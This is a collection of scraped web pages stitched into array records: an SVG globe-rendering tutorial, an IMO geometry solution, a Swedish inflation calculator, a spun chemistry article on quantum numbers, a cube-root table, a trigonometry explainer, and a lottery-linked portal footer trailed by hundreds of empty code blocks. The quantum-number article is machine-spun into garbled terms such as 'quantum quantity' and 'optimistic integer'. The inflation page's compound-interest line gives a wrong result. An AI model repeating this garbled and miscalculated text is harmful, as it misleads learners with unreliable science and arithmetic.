[ null, "https://images.nagwa.com/figures/232195325941/1.svg", null, "https://images.nagwa.com/figures/328150752148/1.svg", null, "https://images.nagwa.com/figures/343185048541/1.svg", null, "https://images.nagwa.com/figures/580165640696/1.svg", null, "https://images.nagwa.com/figures/618173468978/4.svg", null, "https://images.nagwa.com/figures/618173468978/2.svg", null, "https://images.nagwa.com/figures/618173468978/1.svg", null, "https://images.nagwa.com/figures/618173468978/3.svg", null, "https://images.nagwa.com/figures/646151316319/1.svg", null, "https://images.nagwa.com/figures/647151576592/1.svg", null ]
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https://code.tutsplus.com/tutorials/render-an-svg-globe--cms-24275
[ "Unlimited Plugins, WordPress themes, videos & courses! Unlimited asset downloads! From \\$16.50/m\nAdvertisement", null, "# Render an SVG Globe\n\nDifficulty:IntermediateLength:LongLanguages:", null, "What You'll Be Creating\n\nIn this tutorial, I will be showing you how to take an SVG map and project it onto a globe, as a vector. To carry out the mathematical transforms needed to project the map onto a sphere, we must use Python scripting to read the map data and translate it into an image of a globe. This tutorial assumes that you are running Python 3.4, the latest available Python.\n\nInkscape has some sort of Python API which can be used to do a variety of stuff. However, since we are only interested in transforming shapes, it’s easier to just write a standalone program that reads and prints SVG files on its own.\n\n## 1. Format the Map\n\nThe type of map that we want is called an equirectangular map. In an equirectangular map, the longitude and latitude of a place corresponds to its x and y position on the map. One equirectangular world map can be found on Wikimedia Commons (here is a version with U.S. states).\n\nSVG coordinates can be defined in a variety of ways. For example, they can be relative to the previously defined point, or defined absolutely from the origin. To make our lives easier, we want to convert the coordinates in the map to the absolute form. Inkscape can do this. Go to Inkscape preferences (under the Edit menu) and under Input/Output > SVG Output, set Path string format to Absolute.\n\nInkscape won’t automatically convert the coordinates; you have to perform some sort of transform on the paths to get that to happen. The easiest way to do that is just to select everything and move it up and back down with one press each of the up and down arrows. Then re-save the file.\n\n## 2. Start Your Python Script\n\nCreate a new Python file. Import the following modules:\n\nYou will need to install NumPy, a library that lets you do certain vector operations like dot product and cross product.\n\n## 3. The Math of Perspective Projection\n\nProjecting a point in three-dimensional space into a 2D image involves finding a vector from the camera to the point, and then splitting that vector into three perpendicular vectors.\n\nThe two partial vectors perpendicular to the camera vector (the direction the camera is facing) become the x and y coordinates of an orthogonally projected image. The partial vector parallel to the camera vector becomes something called the z distance of the point. To convert an orthogonal image into a perspective image, divide each x and y coordinate by the z distance.\n\nAt this point, it makes sense to define certain camera parameters. First, we need to know where the camera is located in 3D space. Store its x, y, and z coordinates in a dictionary.\n\nThe globe will be located at the origin, so it makes sense to orient the camera facing it. That means the camera direction vector will be the opposite of the camera position.\n\nIt’s not just enough to determine which direction the camera is facing—you also need to nail down a rotation for the camera. Do that by defining a vector perpendicular to the cameraForward vector.\n\n### 1. Define Useful Vector Functions\n\nIt will be very helpful to have certain vector functions defined in our program. Define a vector magnitude function:\n\nWe need to be able to project one vector onto another. Because this operation involves a dot product, it’s much easier to use the NumPy library. NumPy, however, takes vectors in list form, without the explicit ‘x’, ‘y’, ‘z’ identifiers, so we need a function to convert our vectors into NumPy vectors.\n\nIt’s nice to have a function that will give us a unit vector in the direction of a given vector:\n\nFinally, we need to be able to take two points and find a vector between them:\n\n### 2. Define Camera Axes\n\nNow we just need to finish defining the camera axes. We already have two of these axes—cameraForward and cameraPerpendicular, corresponding to the z distance and x coordinate of the camera’s image.\n\nNow we just need the third axis, defined by a vector representing the y coordinate of the camera’s image. We can find this third axis by taking the cross product of those two vectors, using NumPy—np.cross(vectorToList(cameraForward), vectorToList(cameraPerpendicular)).\n\nThe first element in the result corresponds to the x component; the second to the y component, and the third to the z component, so the vector produced is given by:\n\n### 3. Project to Orthogonal\n\nTo find the orthogonal x, y, and z distance, we first find the vector linking the camera and the point in question, and then project it onto each of the three camera axes defined previously:\n\nA point (dark gray) being projected onto the three camera axes (gray). x is red, y is green, and z is blue.\n\n### 4. Project to Perspective\n\nPerspective projection simply takes the x and y of the orthogonal projection, and divides each coordinate by the z distance. This makes it so that stuff that’s farther away looks smaller than stuff that’s closer to the camera.\n\nBecause dividing by z yields very small coordinates, we multiply each coordinate by a value corresponding to the focal length of the camera.\n\n### 5. Convert Spherical Coordinates to Rectangular Coordinates\n\nThe Earth is a sphere. Thus our coordinates—latitude and longitude—are spherical coordinates. So we need to write a function that converts spherical coordinates to rectangular coordinates (as well as define a radius of the Earth and provide the π constant):\n\nWe can achieve better performance by storing some calculations used more than once:\n\nWe can write some composite functions that will combine all the previous steps into one function—going straight from spherical or rectangular coordinates to perspective images:\n\n## 4. Rendering to SVG\n\nOur script has to be able to write to an SVG file. So it should start with:\n\nAnd end with:\n\nProducing an empty but valid SVG file. Within that file the script has to be able to create SVG objects, so we will define two functions that will allow it to draw SVG points and polygons:\n\nWe can test this out by rendering a spherical grid of points:\n\nThis script, when saved and run, should produce something like this:\n\n## 5. Transform the SVG Map Data\n\nTo read an SVG file, a script needs to be able to read an XML file, since SVG is a type of XML. That’s why we imported xml.etree.ElementTree. This module allows you to load the XML/SVG into a script as a nested list:\n\nYou can navigate to an object in the SVG through the list indexes (usually you have to take a look at the source code of the map file to understand its structure). In our case, each country is located at root[x][n], where x is the number of the country, starting with 1, and n represents the various subpaths that outline the country. The actual contours of the country are stored in the d attribute, accessible through root[x][n].attrib['d'].\n\n### 1. Construct Loops\n\nWe can’t just iterate through this map because it contains a “dummy” element at the beginning that must be skipped. So we need to count the number of “country” objects and subtract one to get rid of the dummy. Then we loop through the remaining objects.\n\nSome country objects include multiple paths, which is why we then iterate through each path in each country:\n\nWithin each path, there are disjoint contours separated by the characters ‘Z M’ in the d string, so we split the d string along that delimiter and iterate through those.\n\nWe then split each contour by the delimiters ‘Z’, ‘L’, or ‘M’ to get the coordinate of each point in the path:\n\nThen we remove all non-numeric characters from the coordinates and split them in half along the commas, giving the latitudes and longitudes. If both exist, we store them in a sphereCoordinates dictionary (in the map, latitude coordinates go from 0 to 180°, but we want them to go from –90° to 90°—north and south—so we subtract 90°).\n\nThen if we test it out by plotting some points (svgCircle(spherePlot(sphereCoordinates, radius), 1, '#333')), we get something like this:\n\n### 2. Solve for Occlusion\n\nThis does not distinguish between points on the near side of the globe and points on the far side of the globe. If we want to just print dots on the visible side of the planet, we need to be able to figure out which side of the planet a given point is on.\n\nWe can do this by calculating the two points on the sphere where a ray from the camera to the point would intersect with the sphere. This function implements the formula for solving the distances to those two points—dNear and dFar:\n\nIf the actual distance to the point, d1, is less than or equal to both of these distances, then the point is on the near side of the sphere. Because of rounding errors, a little wiggle room is built into this operation:\n\nUsing this function as a condition should restrict the rendering to near-side points:\n\n## 6. Render Solid Countries\n\nOf course, the dots are not true closed, filled shapes—they only give the illusion of closed shapes. Drawing actual filled countries requires a bit more sophistication. First of all, we need to print the entirety of all visible countries.\n\nWe can do that by creating a switch that gets activated any time a country contains a visible point, meanwhile temporarily storing the coordinates of that country. If the switch is activated, the country gets drawn, using the stored coordinates. We will also draw polygons instead of points.\n\nIt is difficult to tell, but the countries on the edge of the globe fold in on themselves, which we don’t want (take a look at Brazil).\n\n### 1. Trace the Disk of the Earth\n\nTo make the countries render properly at the edges of the globe, we first have to trace the disk of the globe with a polygon (the disk you see from the dots is an optical illusion). The disk is outlined by the visible edge of the globe—a circle. The following operations calculate the radius and center of this circle, as well as the distance of the plane containing the circle from the camera, and the center of the globe.\n\nThe earth and camera (dark gray point) viewed from above. The pink line represents the visible edge of the earth. Only the shaded sector is visible to the camera.\n\nThen to graph a circle in that plane, we construct two axes parallel to that plane:\n\nThen we just graph on those axes by increments of 2 degrees to plot a circle in that plane with that radius and center (see this explanation for the math):\n\nThen we just encapsulate all of that with polygon drawing code:\n\nWe also create a copy of that object to use later as a clipping mask for all of our countries:\n\nThat should give you this:\n\n### 2. Clipping to the Disk\n\nUsing the newly-calculated disk, we can modify our else statement in the country plotting code (for when coordinates are on the hidden side of the globe) to plot those points somewhere outside the disk:\n\nThis uses a tangent curve to lift the hidden points above the surface of the Earth, giving the appearance that they are spread out around it:\n\nThis is not entirely mathematically sound (it breaks down if the camera is not roughly pointed at the center of the planet), but it’s simple and works most of the time. Then by simply adding clip-path=\"url(#clipglobe)\" to the polygon drawing code, we can neatly clip the countries to the edge of the globe:\n\nI hope you enjoyed this tutorial! Have fun with your vector globes!\n\nAdvertisement\nAdvertisement" ]
[ null, "https://static.tutsplus.com/packs/media/images/redesign/code-de8b2a5e820f2e4ee056ef0473787806.svg", null, "https://cms-assets.tutsplus.com/uploads/users/715/posts/24275/final_image/globes.png", null ]
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https://artofproblemsolving.com/wiki/index.php?title=1967_IMO_Problems/Problem_4&oldid=143774
[ "# 1967 IMO Problems/Problem 4\n\n(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)\n\nLet", null, "$A_0B_0C_0$ and", null, "$A_1B_1C_1$ be any two acute-angled triangles. Consider all triangles", null, "$ABC$ that are similar to", null, "$\\triangle A_1B_1C_1$ (so that vertices", null, "$A_1$,", null, "$B_1$,", null, "$C_1$ correspond to vertices", null, "$A$,", null, "$B$,", null, "$C$, respectively) and circumscribed about triangle", null, "$A_0B_0C_0$ (where", null, "$A_0$ lies on", null, "$BC$,", null, "$B_0$ on", null, "$CA$, and", null, "$AC_0$ on", null, "$AB$). Of all such possible triangles, determine the one with maximum area, and construct it.\n\n## Solution\n\nWe construct a point", null, "$P$ inside", null, "$A_0B_0C_0$ s.t.", null, "$\\angle X_0PY_0=\\pi-\\angle X_1Z_1Y_1$, where", null, "$X,Y,Z$ are a permutation of", null, "$A,B,C$. Now construct the three circles", null, "$\\mathcal C_A=(B_0PC_0),\\mathcal C_B=(C_0PA_0),\\mathcal C_C=(A_0PB_0)$. We obtain any of the triangles", null, "$ABC$ circumscribed to", null, "$A_0B_0C_0$ and similar to", null, "$A_1B_1C_1$ by selecting", null, "$A$ on", null, "$\\mathcal C_A$, then taking", null, "$B= AB_0\\cap \\mathcal C_C$, and then", null, "$B=CA_0\\cap\\mathcal C_B$ (a quick angle chase shows that", null, "$B,C_0,A$ are also colinear).\n\nWe now want to maximize", null, "$BC$. Clearly,", null, "$PBC$ always has the same shape (i.e. all triangles", null, "$PBC$ are similar), so we actually want to maximize", null, "$PB$. This happens when", null, "$PB$ is the diameter of", null, "$\\mathcal C_B$. Then", null, "$PA_0\\perp BC$, so", null, "$PC$ will also be the diameter of", null, "$\\mathcal C_C$. In the same way we show that", null, "$PA$ is the diameter of", null, "$\\mathcal C_A$, so everything is maximized, as we wanted.\n\nThis solution was posted and copyrighted by grobber. The thread can be found here:" ]
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https://www.inflationtool.com/swedish-krona/2004-to-present-value
[ "# Value of 2004 Swedish Kronor today\n\nkr100 in 2004\n\nkr121.86 in 2021\n\nThe inflation rate in Sweden between 2004 and today has been 21.86%, which translates into a total increase of kr21.86. This means that 100 kronor in 2004 are equivalent to 121.86 kronor in 2021. In other words, the purchasing power of kr100 in 2004 equals kr121.86 today. The average annual inflation rate has been 1.1%.\n\n## Inflation timeline in Sweden (2004-2021)\n\nThe following chart depicts the equivalence of kr100 throughout the years due to inflation and CPI changes. All values are equivalent in terms of purchasing power, which means that for each year the same goods or services could be bought with the indicated amount of money.\n\nAll calculations are performed in the local currency (SEK) and using 6 decimal digits. Results show only up to 2 decimal digits to favour readability. Inflation data is provided by governments and international institutions on a monthly basis. Today's values were obtained by estimating figures from recent trends.\n\nThe following table contains relevant indicators:\n\nIndicator Value\nTotal Inflation (2004-2021) 21.82%\nTotal Inflation* 21.86%\nAnnual inflation avg. (2004-2021) 1.17%\nAnnual inflation avg.* 1.1%\nCPI 2004 88.9\nCPI 2021 108.3\nCPI today* 108.33\nkr1 in 2004 kr1.22 in 2021\n\n* Values extrapolated from the last official data to obtain today's values.\n\n## How to calculate today's value of money after inflation?\n\nThere are several ways to calculate the time value of money. Depending on the data available, results can be obtained by using the compound interest formula or the Consumer Price Index (CPI) formula.\n\n#### Using the compound interest formula\n\nGiven that money changes with time as a result of an inflation rate that acts as a compound interest, the following formula can be used: FV = PV (1 + i)n, where:\n\n• FV: Future Value\n• PV: Present Value\n• i: Interest rate (inflation)\n• n: Number of times the interest is compounded (i.e. # of years)\n\nIn this case, the future value represents the final amount obtained after applying the inflation rate to our initial value. In other words, it indicates how much are kr100 worth today. There are 17 years between 2004 and 2021 and the average inflation rate has been 1.1043%. Therefore, we can resolve the formula like this:\n\nFV = PV (1 + i)n = kr100 * (1 + 0.01)17 = kr121.82\n\n#### Using the CPI formula\n\nWhen the CPI for both start and end years is known, the following formula can be used:\n\nFinal value = Initial value *\nCPI final/CPI initial\n\nIn this case, the CPI in 2004 was 88.9 and the CPI today is 108.33. Therefore,\n\nFinal value = Initial value *\nCPI final/CPI initial\n= kr100 *\n108.3/88.9\n= kr121.82\n\n### Sweden inflation - Conversion table\n\nInitial Value Equivalent value\nkr1 krona in 2004 kr1.22 kronor today\nkr5 kronor in 2004 kr6.09 kronor today\nkr10 kronor in 2004 kr12.19 kronor today\nkr50 kronor in 2004 kr60.93 kronor today\nkr100 kronor in 2004 kr121.86 kronor today\nkr500 kronor in 2004 kr609.29 kronor today\nkr1,000 kronor in 2004 kr1,218.58 kronor today\nkr5,000 kronor in 2004 kr6,092.91 kronor today\nkr10,000 kronor in 2004 kr12,185.83 kronor today\nkr50,000 kronor in 2004 kr60,929.13 kronor today\nkr100,000 kronor in 2004 kr121,858.26 kronor today\nkr500,000 kronor in 2004 kr609,291.31 kronor today\nkr1,000,000 kronor in 2004 kr1,218,582.62 kronor today\n\nPeriod Value\n2004 100\n2005 100.28\n2006 101.17\n2007 102.82\n2008 106.37\n2009 107.33\n2010 107.95\n2011 110.47\n2012 113\n2013 112.94\n2014 113.09\n2015 112.74\n2016 112.79\n2017 114.76\n2018 116.75\n2019 119.13\n2020 121.22\n2021 121.82\nToday 121.86" ]
[ null ]
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https://www.adidasshoesoutletwholesale.com/definition-of-orbital-quantum-number/
[ "ads/auto.txt Definition Of Orbital Quantum Number • adidasshoesoutletwholesale.com\n\nOrbital angular momentum quantum quantity additionally known as the azimuthal quantum quantity. Furthermore it describes the subshell of an electron and its magnitude of the orbital angular momentum by way of relation.", null, "Educating Quantum Numbers Video Excessive College Chemistry Classroom Chemistry Classroom Doodle Notes\n\n### The overall variety of orbitals for a given n worth is n2.", null, "Definition of orbital quantum quantity. Atomic orbitals describe the place an electron is prone to be present in an atom. Look it up now. The orbital quantum quantity designated l characterizes the electrons angular momentum and determines the form of it orbit.\n\nThe Azimuthal Quantum Quantity The second quantum quantity generally known as the angular or orbital quantum quantity describes the subshell and provides the magnitude of the orbital angular momentum via the relation. N is the primary quantity written in electron configurations akin to magnesiums. For extra details about angular nodes see Digital Orbitals.\n\nL takes integer values starting from 0 to n – 1. The orbital quantum quantity defines the form of the orbital occupied by the electron in that specific orbit and the orbital angular momentum of the electron in movement. Orbital angular momentum quantum quantity or azimuthal quantum quantity denoted by l.\n\n1 s 2 2 s 2 2 p 6 3 s 2. The principal quantum quantity n might be any optimistic integer. Shells nearest the nucleus have the bottom worth of n and the bottom potential power.\n\nEach atomic orbital is related to three quantum numbers n l and ml. The magnetic quantum quantity is the orientation of the orbital with integer values starting from -ℓ to ℓ. The variety of angular nodes is the same as the worth of the angular momentum quantum quantity l.\n\nAdditionally known as azimuthal quantum quantity. L 2 ħ 2 ℓ ℓ 1 In chemistry and spectroscopy ℓ 0 known as s orbital ℓ 1 p orbital ℓ 2 d orbital and ℓ 3 f orbital. Angular Momentum Secondary Azimunthal Quantum Quantity l.\n\nAcquired a query on this matter. 1 2 3 n. The orbital angular momentum quantum quantity l determines the form of an orbital and due to this fact the angular distribution.\n\nThe azimuthal quantum quantity is often generally known as the angular or orbital quantum quantity. Molecular orbitals carry out the identical function in molecules. Moreover in spectroscopy or chemistry the place ℓ 0 it is named an s orbital.\n\nOrbitals having the identical worth of n are stated to be in the identical shell. A secure atom has as many electrons because it does protons. These 4 numbers n ℓ m and s can be utilized to explain an electron in a secure atom.\n\nOrbital quantum quantity synonyms Orbital quantum quantity pronunciation Orbital quantum quantity translation English dictionary definition of Orbital quantum quantity. Quantum Numbers and Atomic Orbitals.\n\nOrbital quantum quantity additionally known as Azimuthal quantum quantity is among the 4 quantum numbers used to outline a whole quantum state of an electron and is used to realize an perception on the form. Principal quantum quantity denoted by n. Every electrons quantum numbers are distinctive and can’t be shared by one other electron in that atom.\n\nRelating Quantum Numbers to Electron Orbitals. See second quantum quantity. Every orbital in an atom is characterised by a novel set of values of the three quantum numbers n ℓ and m l doubtful focus on which respectively correspond to the electrons power angular momentum and an angular momentum vector element the magnetic quantum quantity.\n\nIts doable values for a given electron depend upon the worth of that electrons principal quantum numbers starting from 0 to n-1. An atomic orbital is characterised by three quantum numbers. 4 quantum numbers can be utilized to utterly describe all of the attributes of a given electron belonging to an atom these are.\n\nSpecifies the form of an orbital with a selected principal quantum quantity. In chemistry and spectroscopy ℓ 0 known as an s orbital ℓ 1 a p orbital ℓ 2 a d orbital and ℓ 3 an f orbital. The final area for worth of power of the orbital and the typical distance of an electron from the nucleus are associated to n.\n\nThis property known as the Pauli Exclusion Precept. The secondary quantum quantity divides the shells into smaller teams of orbitals known as subshells sublevels. Extra totally orbital angular momentum quantum quantity the quantum variety of the angular momentum possessed by an electron or group of electrons by advantage of occupying a selected orbital.\n\nDefines the power shell occupied by the electron. The angular momentum quantum quantity is an integer that’s the worth of the electrons orbital for instance s0 p1. L 0 n-1.\n\nEvery such orbital might be occupied by a most of two electrons every with its personal projection of spin. The azimuthal quantum quantity also called the angular quantum quantity or orbital quantum quantity describes the subshell and provides the magnitude of the orbital angular momentum via the relation.", null, "What The Aufbau Precept Means In Chemistry Aufbau Precept Chemistry Fundamentals Chemistry Classes", null, "Principal Quantum Quantity Science Flashcards Science Pupil Science Info", null, "Quantum Numbers Https Scienceterms Web Physics Quantum Quantity Excessive College Chemistry Electron Configuration Chemistry", null, "Quantum Numbers Power Stage Chemistry Power", null, "Display Shot 2010 12 04 At 8 33 00 Pm Png Electron Configuration Bodily Chemistry Quantum Mechanics", null, "Chemistry Jeopardy Electron Configurations Orbitals Quantum Numbers Chemistry Electron Configuration Scientific Notation", null, "Quantum Numbers In 2020 Educating Chemistry Quantum Mechanics Chemistry Chemistry Worksheets", null, "Illustration Of Quantum Mechanical Orbital Angular Momentum The Cones And Aircraft Symbolize Doable Orientations Of Quantum Quantum Mechanics Charts And Graphs", null, "Picture End result For Quantum Numbers Chart Quantity Worksheets Tremendous Trainer Worksheets Pemdas Worksheets", null, "Quantum Quantity Orbital Diagram Priyamstudycentre Chemistry Classes School Chemistry Chemistry", null, "Quantum Quantity Orbitals Principal Azimuthal Magnetic And Spin Quantum Quantity Form Dimension And Orientation Of S P And D Research Chemistry Quantum Chemistry", null, "Quantum Quantity Periodic Desk Chemogenesis Educating Chemistry Chemistry Classroom Science Chemistry", null, "Quantum Quantity Orbitals Of An Atom Principal Azimuthal Magnetic And Spin Quantum Quantity Of An Atom S Atomic Principle Research Chemistry Physics And Arithmetic", null, "Quantum Numbers Free Textbooks By no means Cease Studying Quantum", null, "Cbse Class 11 Chemistry Construction Of Atom 7 Bohr S Mannequin For Hydroge Bohr Mannequin Atom Mannequin Atomic Construction", null, "Spin Quantum Quantity Educating Chemistry Chemistry Worksheets Chemistry Initiatives", null, "Electron Spin Trendy Physics Quantum Quantity Definition", null, "Distinction Between Shell Subshell And Orbital Definition Construction Properties Chemistry Fundamentals Excessive College Chemistry Shells" ]
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https://coolconversion.com/math/cube-root/Cube-root-of_1728_
[ "# Cube root of 1728 - Cube Root Calculator\n\n### Cube Root Calculator\n\nCube root result:\nThe cube root of 1728 is 12 because 12 × 12 × 12 = 1728.\n\n### Quote of the day...\n\nHere is the answer to questions like: Cube root of 1728 or what is the cube root of 1728?\n\n## What is cube root?\n\n### Definition of cube root\n\nA cube root of a number a is a number x such that x3 = a, in other words, a number x whose cube is a. For example, 12 is the cube root of 1728 because 123 = 12•12•12 = 1728, -12 is cube root of -1728 because (-12)3 = (-12)•(-12)•(-12) = -1728.\n\n## Perfect Cube Roots Table 1-100\n\nxCube Root\n11\n82\n273\n644\n1255\n2166\n3437\n5128\n7299\n100010\n133111\n172812\n219713\n274414\n337515\n409616\n491317\n583218\n685919\n800020\n926121\n1064822\n1216723\n1382424\n1562525\nxCube Root\n1757626\n1968327\n2195228\n2438929\n2700030\n2979131\n3276832\n3593733\n3930434\n4287535\n4665636\n5065337\n5487238\n5931939\n6400040\n6892141\n7408842\n7950743\n8518444\n9112545\n9733646\n10382347\n11059248\n11764949\n12500050\nxCube Root\n13265151\n14060852\n14887753\n15746454\n16637555\n17561656\n18519357\n19511258\n20537959\n21600060\n22698161\n23832862\n25004763\n26214464\n27462565\n28749666\n30076367\n31443268\n32850969\n34300070\n35791171\n37324872\n38901773\n40522474\n42187575\nxCube Root\n43897676\n45653377\n47455278\n49303979\n51200080\n53144181\n55136882\n57178783\n59270484\n61412585\n63605686\n65850387\n68147288\n70496989\n72900090\n75357191\n77868892\n80435793\n83058494\n85737595\n88473696\n91267397\n94119298\n97029999\n1000000100\n\n### Cube Root Calculator", null, "" ]
[ null, "https://coolconversion.com/images/thumbs/cube-root-calculator.png", null ]
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https://www.mathopenref.com/trigany.html
[ "# Trig functions of large and negative angles\n\nTry this Drag the orange dot and note how the sine function varies with the angle. Drag the point around the origin multiple times in both directions.\n\nThe usual way to define the trigonometry functions is in a right triangle. For example, the sine function. is defined as the ratio of the opposite side to the hypotenuse. In a right triangle, the angle can only lie in the range 0..90°. In the figure above, click on 'reset'. Note that the angle B is 52°. The sine of 52° is the ratio of the opposite side AC to the hypotenuse AB. Therefore\n\n## Large angles\n\nFor large angles, the same idea applies. We just have to be sure to count the lengths that are to the left and below the origin as negative.\n\nIn the figure above, drag the point counter-clockwise around the origin, to say 210°. The sin of 210° is still defined as the opposite over hypotenuse, but here the opposite side has a negative length, so This idea works for all six trig functions. Experiment with the six functions from the pull down menu above.\n\n## Negative angles\n\nIn trigonometry negative angles go clockwise. The above definition applies to negative angles also. In the figure above drag the point clockwise. Note how the sine ratio still holds, and produces values similar to those for positive angles.\n\n## Unit Circle\n\nIf the hypotenuse is made to be one unit long, the trig functions all simplify.\nFor more on this see Unit Circle.\n\n## Things to try\n\n1. In the above figure, click 'reset' and 'hide details'.\n2. Drag the orange dot to make a large or negative angle\n3. Select a new trig function from the pull down menu and calculate that function for the new angle" ]
[ null ]
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http://zopache.com/qtgz/index.jhtml.htm
[ "•", null, "党的建设\n•", null, "反腐倡廉\n•", null, "群团工作\n•", null, "组织建设\n\n# 群团工作", null, "联系我们 |   网站地图 | 企业邮箱 | 法律声明 | 隐私保护 | 常见问题解答 | 使用帮助  版权所有:977彩票平台 维护单位:集团办公室 京ICP备案:09061170号 京公网安备11941050040号  网管信箱:  建议使用Firefox / IE 10以上浏览器,1024x768以上分辨率访问本网站\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n